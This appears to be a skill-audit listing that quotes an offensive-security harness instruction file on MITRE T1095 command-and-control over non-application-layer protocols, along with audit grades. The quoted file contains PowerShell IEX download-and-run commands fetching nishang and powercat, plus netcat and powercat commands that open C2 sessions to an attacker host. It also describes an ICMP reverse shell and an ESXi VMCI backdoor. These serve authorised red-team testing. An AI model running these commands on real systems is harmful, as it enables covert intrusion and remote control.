T1095 Non Application Layer ProtocolCAUTION

Open-source AI-powered offensive security harness for automated penetration testing.

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: "T1095_non-application-layer-protocol"
description: "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network."
category: "configuration"
version: "18.1"
author: "cyberstrike-official"
tags:
  - mitre-attack
  - enterprise
  - t1095
  - command-and-control
  - esxi
  - linux
  - macos
  - network-devices
  - windows
technique_id: "T1095"
tactic: "command-and-control"
all_tactics:
  - command-and-control
platforms:
  - ESXi
  - Linux
  - macOS
  - Network Devices
  - Windows
mitre_url: "https://attack.mitre.org/techniques/T1095"
tech_stack:
  - esxi
  - linux
  - macos
  - network devices
  - windows
cwe_ids:
  - CWE-300
chains_with: []
prerequisites: []
severity_boost: {}
---

# T1095 Non-Application Layer Protocol

## High-Level Description

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

In ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host’s backdoor, regardless of network segmentation or firewall rules in place.

## Kill Chain Phase

- Command and Control (TA0011)

**Platforms:** ESXi, Linux, macOS, Network Devices, Windows

## What to Check

- [ ] Identify if Non-Application Layer Protocol technique is applicable to target environment
- [ ] Check ESXi systems for indicators of Non-Application Layer Protocol
- [ ] Check Linux systems for indicators of Non-Application Layer Protocol
- [ ] Check macOS systems for indicators of Non-Application Layer Protocol
- [ ] Verify mitigations are bypassed or absent (4 known mitigations)
- [ ] Assess detection coverage (1 detection strategies)

## How to Test

### Atomic Red Team Tests

The following tests are from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) and provide actionable ways to test this technique:

### Atomic Test 1: ICMP C2

This will attempt to start C2 Session Using ICMP. For information on how to set up the listener
refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/

**Supported Platforms:** windows

```powershell
IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress #{server_ip}
```

### Atomic Test 2: Netcat C2

Start C2 Session Using Ncat
To start the listener on a Linux device, type the following:
nc -l -p <port>

**Supported Platforms:** windows

```powershell
cmd /c "#{ncat_exe}" #{server_ip} #{server_port}
```

**Dependencies:**

- ncat.exe must be available at specified location (#{ncat_exe})

### Atomic Test 3: Powercat C2

Start C2 Session Using Powercat
To start the listener on a Linux device, type the following:
nc -l -p <port>

**Supported Platforms:** windows

```powershell
IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c #{server_ip} -p #{server_port}
```

### Atomic Test 4: Linux ICMP Reverse Shell using icmp-cnc

ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems.
This method allows attackers to communicate and control compromised devices while remaining undetected.

For more details, check this blog: [ICMP Reverse Shell Blog](https://cryptsus.com/blog/icmp-reverse-shell.html)

**Important Notes:**

- Use `[icmp-cnc]` for the C2 server (Attacker) and `[icmpdoor]` for the C2 client (Victim).
- Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor].
- Root access is required.

**Supported Platforms:** linux

### Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. **Identify Attack Surface**: Determine if the target environment is susceptible to Non-Application Layer Protocol by examining the target platforms (ESXi, Linux, macOS).

2. **Assess Existing Defenses**: Review whether mitigations for T1095 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. **Execute Test**: Use tools and methods described in the MITRE ATT&CK page and external references below.

## Remediation Guide

### M1031 Network Intrusion Prevention

Network intrusion detection and prevention systems that use netw

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

What the source does

Filesystem

none-observed

Network

none-observed

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (5)

packages/app/public/apple-touch-icon-v3.png

packages/app/public/apple-touch-icon.png

packages/app/public/favicon-96x96-v3.png

packages/app/public/favicon-96x96.png

packages/app/public/favicon-v3.ico

Gates applied: no_behavioural_pass.

[![ModelsAtlas audit: T1095 Non Application Layer Protocol](https://modelsatlas.com/skills/cyberstrikeus/t1095-non-application-layer-protocol/badge.svg)](https://modelsatlas.com/skills/cyberstrikeus/t1095-non-application-layer-protocol/)

Not your listing, or something out of date? Claim or update your listing.